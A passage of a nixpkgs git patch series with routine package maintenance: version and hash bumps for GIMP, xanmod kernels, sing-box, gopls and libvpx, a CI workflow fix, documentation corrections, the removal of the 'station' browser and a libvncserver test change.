diff --git a/pkgs/top-level/ruby-packages.nix b/pkgs/top-level/ruby-packages.nix
index 452e1e33facb..72ba8368d1bd 100644
--- a/pkgs/top-level/ruby-packages.nix
+++ b/pkgs/top-level/ruby-packages.nix
@@ -3562,10 +3562,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "14jpch41i6iclbgc8rykvkyn7ii8s9dwvn98k96qi0hqcbdpj30p";
+      sha256 = "0da64fq3w671qhp7ji1zs84m5lyhalq4khqhbfw5dz0y6mn61dgg";
       type = "gem";
     };
-    version = "3.1.13";
+    version = "3.1.16";
   };
   rack-protection = {
     dependencies = [

From 5fd796d5ea647264c0c08fd43e8518234cad3f3f Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Fri, 23 May 2025 19:48:32 +0200
Subject: [PATCH 1362/4511] gimp3: 3.0.2 -> 3.0.4
 https://www.gimp.org/news/2025/05/18/gimp-3-0-4-released/

(cherry picked from commit dd7435fe61e26e4b8f64557ba5902cc9192b1bb6)
---
 pkgs/applications/graphics/gimp/default.nix | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/graphics/gimp/default.nix b/pkgs/applications/graphics/gimp/default.nix
index 639719d8d32d..d943e0efccab 100644
--- a/pkgs/applications/graphics/gimp/default.nix
+++ b/pkgs/applications/graphics/gimp/default.nix
@@ -77,7 +77,7 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "gimp";
-  version = "3.0.2";
+  version = "3.0.4";
 
   outputs = [
     "out"
@@ -87,7 +87,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://download.gimp.org/gimp/v${lib.versions.majorMinor finalAttrs.version}/gimp-${finalAttrs.version}.tar.xz";
-    hash = "sha256-VG3cMMstDnkSPH/LTXghHh7npqrOkaagrYy8v26lcaI=";
+    hash = "sha256-jKouwnW/CTJldWVKwnavwIP4SR58ykXRnPKeaWrsqyU=";
   };
 
   patches = [
@@ -242,9 +242,7 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   postPatch = ''
-    patchShebangs \
-      app/tests/create_test_env.sh \
-      tools/gimp-mkenums
+    patchShebangs tools/gimp-mkenums
 
     # GIMP is executed at build time so we need to fix this.
     # TODO: Look into if we can fix the interp thing.

From a90a5973d336b5e64944c1940c84808ac59e5206 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 5 Jun 2025 07:39:45 +0200
Subject: [PATCH 1363/4511] linux_xanmod: 6.12.31 -> 6.12.32

(cherry picked from commit 8bf71716b174a0988a31b1228cc5ebffe657e251)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 5182373a8dd4..d9835776b963 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -14,8 +14,8 @@ let
   # kernel config in the xanmod version commit
   variants = {
     lts = {
-      version = "6.12.31";
-      hash = "sha256-qYbwHt6j2Sh7V1PDjp1oEIKo+k2T5PcRz5MzZgYwbqg=";
+      version = "6.12.32";
+      hash = "sha256-b5hoYHsufqCCgZ11u1MZUVdNQrnkGC8L0h6xRzmZbt8=";
     };
     main = {
       version = "6.14.9";

From 4faf352880755da31bcd5c89baa6c8f64185cc34 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 5 Jun 2025 08:09:54 +0200
Subject: [PATCH 1364/4511] linux_xanmod_latest: 6.14.9 -> 6.14.10

(cherry picked from commit 570251747f9a0acf3f708edf11f609b7818a4603)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index d9835776b963..418bb5df928d 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -18,8 +18,8 @@ let
       hash = "sha256-b5hoYHsufqCCgZ11u1MZUVdNQrnkGC8L0h6xRzmZbt8=";
     };
     main = {
-      version = "6.14.9";
-      hash = "sha256-kwMvXdqr1i3UZ3+N/qsQDjU1TvnymS54tCdOLNxL0nc=";
+      version = "6.14.10";
+      hash = "sha256-ogSp3lQ2AnAynj65vrjIcmJ9v577CO1ju9s+OyfB1MM=";
     };
   };
 

From f64adeaf33ff7b1043b143858a61684478d1ef83 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Wed, 11 Jun 2025 01:38:30 +0200
Subject: [PATCH 1365/4511] linux_xanmod: 6.12.32 -> 6.12.33

(cherry picked from commit 05461a9bf14d56f7f848ee66786c43d6090e8ab7)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 418bb5df928d..12f4f9e01114 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -14,8 +14,8 @@ let
   # kernel config in the xanmod version commit
   variants = {
     lts = {
-      version = "6.12.32";
-      hash = "sha256-b5hoYHsufqCCgZ11u1MZUVdNQrnkGC8L0h6xRzmZbt8=";
+      version = "6.12.33";
+      hash = "sha256-2/rB4ScAywmYINEJIwm2zTEp1dotiUxM3nTq/mGv1QM=";
     };
     main = {
       version = "6.14.10";

From 04ffc56c66d150cb2d9e537954b8d46867f69227 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Wed, 11 Jun 2025 01:41:23 +0200
Subject: [PATCH 1366/4511] linux_xanmod_latest: 6.14.10 -> 6.14.11

(cherry picked from commit 7a72c836e13d7a327fbad1240fd71ccc036039f5)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 12f4f9e01114..154136d0af05 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -18,8 +18,8 @@ let
       hash = "sha256-2/rB4ScAywmYINEJIwm2zTEp1dotiUxM3nTq/mGv1QM=";
     };
     main = {
-      version = "6.14.10";
-      hash = "sha256-ogSp3lQ2AnAynj65vrjIcmJ9v577CO1ju9s+OyfB1MM=";
+      version = "6.14.11";
+      hash = "sha256-NhJxhyC0HrduWfEl7TnDbGVhJk23L4rzNorPMtuMXyU=";
     };
   };
 

From 9a5a5b48fd271d63b5506ad1a219b6a81c5c891f Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 20 Jun 2025 16:39:34 +0200
Subject: [PATCH 1367/4511] linux_xanmod: 6.12.33 -> 6.12.34

(cherry picked from commit 2147c833c8c27e89510971fe9c1ec1f921810015)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 154136d0af05..42d8b7cd3021 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -14,8 +14,8 @@ let
   # kernel config in the xanmod version commit
   variants = {
     lts = {
-      version = "6.12.33";
-      hash = "sha256-2/rB4ScAywmYINEJIwm2zTEp1dotiUxM3nTq/mGv1QM=";
+      version = "6.12.34";
+      hash = "sha256-pMc6WzpgxOlgwGfsXyI8404HfHcC52tvmBGoEQidtqc=";
     };
     main = {
       version = "6.14.11";

From 3dec0315a212f23a3fbfe8ee0a830fa33f8325e1 Mon Sep 17 00:00:00 2001
From: Guillaume Girol <symphorien+git@xlumurb.eu>
Date: Sun, 25 May 2025 12:00:00 +0000
Subject: [PATCH 1368/4511] monitoring-plugins: use /run/wrappers/bin/mailq for
 mailq

instead of /run/wrappers/sendmail

Since 25.05 sendmail has started just hanging on my postfix instance
(simple nixos mailserver)

(cherry picked from commit fc2cd2ba6f62163b12ffe26c706a759734c3ca9d)
---
 pkgs/by-name/mo/monitoring-plugins/package.nix | 7 +------
 1 file changed, 1 insertion(+), 6 deletions(-)

diff --git a/pkgs/by-name/mo/monitoring-plugins/package.nix b/pkgs/by-name/mo/monitoring-plugins/package.nix
index 95abd51614f7..4454909310d4 100644
--- a/pkgs/by-name/mo/monitoring-plugins/package.nix
+++ b/pkgs/by-name/mo/monitoring-plugins/package.nix
@@ -35,11 +35,6 @@ let
     net-snmp
     procps
   ];
-
-  mailq = runCommand "mailq-wrapper" { preferLocalBuild = true; } ''
-    mkdir -p $out/bin
-    ln -s /run/wrappers/bin/sendmail $out/bin/mailq
-  '';
 in
 stdenv.mkDerivation rec {
   pname = "monitoring-plugins";
@@ -72,7 +67,7 @@ stdenv.mkDerivation rec {
 
   configureFlags = [
     "--libexecdir=${placeholder "out"}/bin"
-    "--with-mailq-command=${mailq}/bin/mailq"
+    "--with-mailq-command=/run/wrappers/bin/mailq"
     "--with-sudo-command=/run/wrappers/bin/sudo"
   ];
 

From 2c845463a4fa300996c103819abbd04e3e75601c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 20 Jun 2025 16:38:04 +0200
Subject: [PATCH 1369/4511] workflows/eval: don't fail without artifact from
 target branch

This can only happen if the target branch's eval run failed and we're
trying to fix it. In this case, Eval should not fail, even though it
might not be able to do a comparison and add the correct rebuild labels.
But if we failed here, we wouldn't be able to merge the fix once we have
required status checks.

(cherry picked from commit 83ce9e7b44f12426545c82c893300c71b72d712f)
---
 .github/workflows/eval.yml | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index bbc50810f5d1..7a4f590887c9 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -29,6 +29,8 @@ jobs:
       matrix:
         system: ${{ fromJSON(inputs.systems) }}
     name: ${{ matrix.system }}
+    outputs:
+      targetRunId: ${{ steps.targetRunId.outputs.targetRunId }}
     steps:
       - name: Enable swap
         run: |
@@ -88,8 +90,6 @@ jobs:
               throw new Error(`Could not find a push.yml workflow run for ${targetSha}.`)
             }
 
-            core.setOutput('targetRunId', run_id)
-
             // Waiting 120 * 5 sec = 10 min. max.
             // Eval takes max 5-6 minutes, normally.
             for (let i = 0; i < 120; i++) {
@@ -98,10 +98,15 @@ jobs:
                 run_id,
                 name: `merged-${system}`
               })
-              if (result.data.total_count > 0) return
+              if (result.data.total_count > 0) {
+                core.setOutput('targetRunId', run_id)
+                return
+              }
               await new Promise(resolve => setTimeout(resolve, 5000))
             }
-            throw new Error(`No merged-${system} artifact found.`)
+            // No artifact found at this stage. This usually means that Eval failed on the target branch.
+            // This should only happen when Eval is broken on the target branch and this PR fixes it.
+            // Continue without targetRunId to skip the remaining steps, but pass the job.
 
       - uses: actions/download-artifact@v4
         if: steps.targetRunId.outputs.targetRunId
@@ -133,7 +138,7 @@ jobs:
   compare:
     runs-on: ubuntu-24.04-arm
     needs: [eval]
-    if: inputs.targetSha
+    if: needs.eval.outputs.targetRunId
     permissions:
       statuses: write
     steps:

From 5d8c99d7280d612eee3ef6e04ce9b02ee75812ab Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 18 May 2025 16:59:46 +0000
Subject: [PATCH 1370/4511] sing-box: 1.11.10 -> 1.11.11

(cherry picked from commit d17aba125e3a3d8bb04dddc08339ab1592e6a044)
---
 pkgs/by-name/si/sing-box/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/si/sing-box/package.nix b/pkgs/by-name/si/sing-box/package.nix
index 54486f03e852..867dc573e195 100644
--- a/pkgs/by-name/si/sing-box/package.nix
+++ b/pkgs/by-name/si/sing-box/package.nix
@@ -10,16 +10,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "sing-box";
-  version = "1.11.10";
+  version = "1.11.11";
 
   src = fetchFromGitHub {
     owner = "SagerNet";
     repo = "sing-box";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-GcoAxfFH/eP97E7tN//LbNCSbEASfzDL5OYHyL54eh8=";
+    hash = "sha256-hdYYjKBXnTqScYTUCfMmXozDD8GtIorLXnsU2Fmwg/c=";
   };
 
-  vendorHash = "sha256-7VfAFkdI4XFkMp2GJIzPFSXyUWNwT3o+EN5gI8U/wIQ=";
+  vendorHash = "sha256-/0pwsZbMbyAFXCrukbNf2RmQjQJ1E/ZUwzrC+5NEZcc=";
 
   tags = [
     "with_quic"

From ed9afed4444e06437b6ab6aee1811ee5d4d2960e Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 6 Jun 2025 01:35:14 +0800
Subject: [PATCH 1371/4511] sing-box: 1.11.11 -> 1.11.13

(cherry picked from commit fa4a777e6b17c5a6a558325959f729050300b09d)
---
 pkgs/by-name/si/sing-box/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/si/sing-box/package.nix b/pkgs/by-name/si/sing-box/package.nix
index 867dc573e195..79f8481ad63f 100644
--- a/pkgs/by-name/si/sing-box/package.nix
+++ b/pkgs/by-name/si/sing-box/package.nix
@@ -10,16 +10,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "sing-box";
-  version = "1.11.11";
+  version = "1.11.13";
 
   src = fetchFromGitHub {
     owner = "SagerNet";
     repo = "sing-box";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-hdYYjKBXnTqScYTUCfMmXozDD8GtIorLXnsU2Fmwg/c=";
+    hash = "sha256-Pq5ElVDNJTeT4h6ZrupnKlCydxfJ2wAxk/9eZblT4d4=";
   };
 
-  vendorHash = "sha256-/0pwsZbMbyAFXCrukbNf2RmQjQJ1E/ZUwzrC+5NEZcc=";
+  vendorHash = "sha256-/awpe9v+J1O0DKMvi6CNAgJ0mFJaWoXPHzRAk98nQ+Y=";
 
   tags = [
     "with_quic"

From b1bd11408566cde69b702ad78194fe85994580aa Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Thu, 19 Jun 2025 18:24:23 +0800
Subject: [PATCH 1372/4511] sing-box: 1.11.13 -> 1.11.14

(cherry picked from commit e5e29a0108882f38fc81602b4f054147fe155a74)
---
 pkgs/by-name/si/sing-box/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/si/sing-box/package.nix b/pkgs/by-name/si/sing-box/package.nix
index 79f8481ad63f..7bf3abce085b 100644
--- a/pkgs/by-name/si/sing-box/package.nix
+++ b/pkgs/by-name/si/sing-box/package.nix
@@ -10,16 +10,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "sing-box";
-  version = "1.11.13";
+  version = "1.11.14";
 
   src = fetchFromGitHub {
     owner = "SagerNet";
     repo = "sing-box";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Pq5ElVDNJTeT4h6ZrupnKlCydxfJ2wAxk/9eZblT4d4=";
+    hash = "sha256-GgFsTLMyrNsYT9GUlnXnSzynIa2D2ECtcYvKMfvndkA=";
   };
 
-  vendorHash = "sha256-/awpe9v+J1O0DKMvi6CNAgJ0mFJaWoXPHzRAk98nQ+Y=";
+  vendorHash = "sha256-ULfPmVQ2Ngr1ujeCmUPOOaqxyQmbgqH1w6P9TwvjhSo=";
 
   tags = [
     "with_quic"

From f8ec11022a6c011780c33892b2dce50a36233a83 Mon Sep 17 00:00:00 2001
From: Romanos Skiadas <rom.skiad@gmail.com>
Date: Tue, 17 Jun 2025 13:38:03 +0300
Subject: [PATCH 1373/4511] gopls: 0.18.1 -> 0.19.0

changelog: https://github.com/golang/tools/releases/tag/gopls%2Fv0.19.0

Remove gofix, as it was moved to the top level tools module instead

(cherry picked from commit 32a9c6ed447718466aacb62533c1732a92750db9)
(cherry picked from commit 076809604ae2fd58277ddf8c8a740e4171a6cb93)
---
 pkgs/by-name/go/gopls/package.nix | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/gopls/package.nix b/pkgs/by-name/go/gopls/package.nix
index c0200f76c20b..5badab9e6624 100644
--- a/pkgs/by-name/go/gopls/package.nix
+++ b/pkgs/by-name/go/gopls/package.nix
@@ -8,27 +8,26 @@
 
 buildGoModule (finalAttrs: {
   pname = "gopls";
-  version = "0.18.1";
+  version = "0.19.0";
 
   src = fetchFromGitHub {
     owner = "golang";
     repo = "tools";
     tag = "gopls/v${finalAttrs.version}";
-    hash = "sha256-5w6R3kaYwrZyhIYjwLqfflboXT/z3HVpZiowxeUyaWg=";
+    hash = "sha256-2K93S7ApzHmsbeReKoSmIhgXuZR3oFODiTWDTO5wDOU=";
   };
 
   modRoot = "gopls";
-  vendorHash = "sha256-/tca93Df90/8K1dqhOfUsWSuFoNfg9wdWy3csOtFs6Y=";
+  vendorHash = "sha256-uWbcf/PadGXw2ryg6GjJrHzrZ88kKzfhr6gtYsLTvkg=";
 
   # https://github.com/golang/tools/blob/9ed98faa/gopls/main.go#L27-L30
   ldflags = [ "-X main.version=v${finalAttrs.version}" ];
 
   doCheck = false;
 
-  # Only build gopls, gofix, modernize, and not the integration tests or documentation generator.
+  # Only build gopls & modernize, not the integration tests or documentation generator.
   subPackages = [
     "."
-    "internal/analysis/gofix/cmd/gofix"
     "internal/analysis/modernize/cmd/modernize"
   ];
 

From aba3fbf9e36b49da9e4429ea51bbff32644c4d2a Mon Sep 17 00:00:00 2001
From: Romanos Skiadas <rom.skiad@gmail.com>
Date: Fri, 20 Jun 2025 12:47:07 +0300
Subject: [PATCH 1374/4511] gopls: 0.19.0 -> 0.19.1

Changelog: https://github.com/golang/tools/releases/tag/gopls/v0.19.1
(cherry picked from commit 1f723dc7f66e59b9761c307d59438776c0b727d1)
---
 pkgs/by-name/go/gopls/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/go/gopls/package.nix b/pkgs/by-name/go/gopls/package.nix
index 5badab9e6624..175a2ff5a6b0 100644
--- a/pkgs/by-name/go/gopls/package.nix
+++ b/pkgs/by-name/go/gopls/package.nix
@@ -8,17 +8,17 @@
 
 buildGoModule (finalAttrs: {
   pname = "gopls";
-  version = "0.19.0";
+  version = "0.19.1";
 
   src = fetchFromGitHub {
     owner = "golang";
     repo = "tools";
     tag = "gopls/v${finalAttrs.version}";
-    hash = "sha256-2K93S7ApzHmsbeReKoSmIhgXuZR3oFODiTWDTO5wDOU=";
+    hash = "sha256-QJnLJNgFtc/MmJ5WWooKcavnPPTYuM4XhUHcbwlvMLY=";
   };
 
   modRoot = "gopls";
-  vendorHash = "sha256-uWbcf/PadGXw2ryg6GjJrHzrZ88kKzfhr6gtYsLTvkg=";
+  vendorHash = "sha256-P5wUGXmVvaRUpzmv/SPX8OpCXOCOg6nBI544puNOWCE=";
 
   # https://github.com/golang/tools/blob/9ed98faa/gopls/main.go#L27-L30
   ldflags = [ "-X main.version=v${finalAttrs.version}" ];

From 9478be0f889a19382aeb8d7dbab87fa2c64ef799 Mon Sep 17 00:00:00 2001
From: Jakob Kukla <jakob.kukla@gmail.com>
Date: Sat, 21 Jun 2025 20:20:30 +0200
Subject: [PATCH 1375/4511] nixos/atticd: fix user and group documentation
 mixup

(cherry picked from commit db7efc141229fecd2ab14b2d3dbdcdea3526f67c)
---
 nixos/modules/services/networking/atticd.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/networking/atticd.nix b/nixos/modules/services/networking/atticd.nix
index 43d66ef06238..39aef744bd7f 100644
--- a/nixos/modules/services/networking/atticd.nix
+++ b/nixos/modules/services/networking/atticd.nix
@@ -86,7 +86,7 @@ in
 
       user = lib.mkOption {
         description = ''
-          The group under which attic runs.
+          The user under which attic runs.
         '';
         type = types.str;
         default = "atticd";
@@ -94,7 +94,7 @@ in
 
       group = lib.mkOption {
         description = ''
-          The user under which attic runs.
+          The group under which attic runs.
         '';
         type = types.str;
         default = "atticd";

From 1194eaf698f02a0a60bd5460a77936eac88a0ab9 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 16 Jun 2025 04:37:59 +0000
Subject: [PATCH 1376/4511] shellhub-agent: 0.19.0 -> 0.19.1

(cherry picked from commit aa40f75860c63bfd779b84a73f78001197e2bf9d)
---
 pkgs/by-name/sh/shellhub-agent/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sh/shellhub-agent/package.nix b/pkgs/by-name/sh/shellhub-agent/package.nix
index 90510e9816e4..b568bf7fd241 100644
--- a/pkgs/by-name/sh/shellhub-agent/package.nix
+++ b/pkgs/by-name/sh/shellhub-agent/package.nix
@@ -12,13 +12,13 @@
 
 buildGoModule rec {
   pname = "shellhub-agent";
-  version = "0.19.0";
+  version = "0.19.1";
 
   src = fetchFromGitHub {
     owner = "shellhub-io";
     repo = "shellhub";
     rev = "v${version}";
-    hash = "sha256-xoGOiaUIjlR2l+l+oM1s3J7YBW9af2dfd+hXwq8zZU8=";
+    hash = "sha256-xFCUq1x9C+W1xxo6UIpW7ej7ltquvEqNUUvvF86rA9o=";
   };
 
   modRoot = "./agent";

From 75e66a1ad294816f71f19578a291ed91a0c14c09 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 16 Jun 2025 02:01:23 +0200
Subject: [PATCH 1377/4511] station: drop

Per the contributing guidelines there must be a committer in
meta.maintainers to unblock fast updates.

But this browser is a joke, all electron browser are. They cannot be safe
browsers by design. And this one pins Electron 27 and we ship its
vendored Electron version. It went EOL on 2024-04-16.

(cherry picked from commit b96ba61ce130cdd621d8468c8e11cd021d63fb96)
---
 pkgs/by-name/st/station/package.nix | 43 -----------------------------
 pkgs/top-level/aliases.nix          |  1 +
 2 files changed, 1 insertion(+), 43 deletions(-)
 delete mode 100644 pkgs/by-name/st/station/package.nix

diff --git a/pkgs/by-name/st/station/package.nix b/pkgs/by-name/st/station/package.nix
deleted file mode 100644
index 7e9391b6866f..000000000000
--- a/pkgs/by-name/st/station/package.nix
+++ /dev/null
@@ -1,43 +0,0 @@
-{
-  appimageTools,
-  fetchurl,
-  lib,
-}:
-
-let
-  pname = "station";
-  version = "1.52.2";
-
-  src = fetchurl {
-    url = "https://github.com/getstation/desktop-app-releases/releases/download/${version}/Station-${version}-x86_64.AppImage";
-    sha256 = "0lhiwvnf94is9klvzrqv2wri53gj8nms9lg2678bs4y58pvjxwid";
-  };
-
-  appimageContents = appimageTools.extractType2 {
-    inherit pname version src;
-  };
-in
-appimageTools.wrapType2 rec {
-  inherit pname version src;
-
-  profile = ''
-    export LC_ALL=C.UTF-8
-  '';
-
-  extraInstallCommands = ''
-    install -m 444 -D ${appimageContents}/browserx.desktop $out/share/applications/browserx.desktop
-    install -m 444 -D ${appimageContents}/usr/share/icons/hicolor/512x512/apps/browserx.png \
-      $out/share/icons/hicolor/512x512/apps/browserx.png
-    substituteInPlace $out/share/applications/browserx.desktop \
-      --replace 'Exec=AppRun' 'Exec=${pname}'
-  '';
-
-  meta = with lib; {
-    description = "Single place for all of your web applications";
-    homepage = "https://getstation.com";
-    license = licenses.mit;
-    platforms = [ "x86_64-linux" ];
-    maintainers = [ ];
-    mainProgram = "station";
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index f855c5ba5134..a552518974cf 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1784,6 +1784,7 @@ mapAliases {
   ssm-agent = amazon-ssm-agent; # Added 2023-10-17
   starpls-bin = starpls;
   starspace = throw "starspace has been removed from nixpkgs, as it was broken"; # Added 2024-07-15
+  station = throw "station has been removed from nixpkgs, as there were no committers among its maintainers to unblock security issues"; # added 2025-06-16
   steamPackages = {
     steamArch = throw "`steamPackages.steamArch` has been removed as it's no longer applicable";
     steam = lib.warnOnInstantiate "`steamPackages.steam` has been moved to top level as `steam-unwrapped`" steam-unwrapped;

From 2d6bf8fb8fa3d87da9aba898a9009b20e467bb88 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 11 Apr 2025 12:45:15 +0000
Subject: [PATCH 1378/4511] libvpx: 1.15.0 -> 1.15.2

(cherry picked from commit d5cb9997a42ce8169ceac130179ed1323668e3cf)
---
 pkgs/by-name/li/libvpx/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libvpx/package.nix b/pkgs/by-name/li/libvpx/package.nix
index dc33fa0bef67..7e1bc93701d6 100644
--- a/pkgs/by-name/li/libvpx/package.nix
+++ b/pkgs/by-name/li/libvpx/package.nix
@@ -131,13 +131,13 @@ assert isCygwin -> unitTestsSupport && webmIOSupport && libyuvSupport;
 
 stdenv.mkDerivation rec {
   pname = "libvpx";
-  version = "1.15.0";
+  version = "1.15.2";
 
   src = fetchFromGitHub {
     owner = "webmproject";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-ewkx1okhpa05jn4DyN8pkl6UJoz4Ymw4jRe6GN1lWuA=";
+    hash = "sha256-1F5Zlue2DY1yJXwfDfGeh3KcFTQVo9voHcGkgItKgh0=";
   };
 
   postPatch = ''

From 2a32129c7d9c4f2a5697a659878f085fe1f83c3d Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sat, 21 Jun 2025 20:55:44 +0800
Subject: [PATCH 1379/4511] baidupcs-go: fix building on darwin

(cherry picked from commit e7cd636ac1fc907b639d48bcfbc3bba5cde50920)
---
 pkgs/by-name/ba/baidupcs-go/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ba/baidupcs-go/package.nix b/pkgs/by-name/ba/baidupcs-go/package.nix
index 02cf013e0635..6c2e7b191c7c 100644
--- a/pkgs/by-name/ba/baidupcs-go/package.nix
+++ b/pkgs/by-name/ba/baidupcs-go/package.nix
@@ -32,7 +32,7 @@ buildGoModule rec {
 
   postInstall = ''
     rm -f $out/bin/AndroidNDKBuild
-    ln -s $out/bin/BaiduPCS-Go $out/bin/baidupcs-go
+    ln -s $out/bin/BaiduPCS-Go $out/bin/baidupcs-go || true
   '';
 
   postVersionCheck = ''

From b8bec53c88d7237bc495b42e9e1321c062d86d7b Mon Sep 17 00:00:00 2001
From: darkyzhou <darkyoooooo@gmail.com>
Date: Sun, 22 Jun 2025 12:08:42 +0800
Subject: [PATCH 1380/4511] maintainers: add darkyzhou

(cherry picked from commit 4e3389a1ae6a67ff0c8772b5d6087b02549145e7)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 15f250c91ab8..01d0a68aa4a7 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -5631,6 +5631,12 @@
     github = "DarkOnion0";
     githubId = 68606322;
   };
+  darkyzhou = {
+    name = "darkyzhou";
+    email = "me@zqy.io";
+    github = "darkyzhou";
+    githubId = 7220778;
+  };
   daru-san = {
     name = "Daru";
     email = "zadarumaka@proton.me";

From 5e5c2c967a0d5d8e1308417cb6d904c07fe8d565 Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Sat, 21 Jun 2025 21:05:53 +0200
Subject: [PATCH 1381/4511] libvncserver: enable tests during shared library
 builds

Also skips shell test that doesn't work OOTB, but we don't need

(cherry picked from commit 5913a02f2ab041a469e13e5e681a259166279077)
---
 pkgs/by-name/li/libvncserver/package.nix | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/pkgs/by-name/li/libvncserver/package.nix b/pkgs/by-name/li/libvncserver/package.nix
index ecaceb3c56ad..5daa8e6d1f17 100644
--- a/pkgs/by-name/li/libvncserver/package.nix
+++ b/pkgs/by-name/li/libvncserver/package.nix
@@ -44,8 +44,17 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.cmakeBool "WITH_SYSTEMD" withSystemd)
     (lib.cmakeBool "BUILD_SHARED_LIBS" enableShared)
     (lib.cmakeBool "WITH_EXAMPLES" buildExamples)
+    (lib.cmakeBool "WITH_TESTS" finalAttrs.doCheck)
   ];
 
+  # This test checks if using the **installed** headers works.
+  # As it doesn't set the include paths correctly, and we have nixpkgs-review to check if
+  # packages continue to build, patching it would serve no purpose, so we can just remove the test entirely.
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'add_test(NAME includetest COMMAND' '# add_test(NAME includetest COMMAND'
+  '';
+
   buildInputs =
     [
       libjpeg
@@ -61,6 +70,8 @@ stdenv.mkDerivation (finalAttrs: {
     zlib
   ];
 
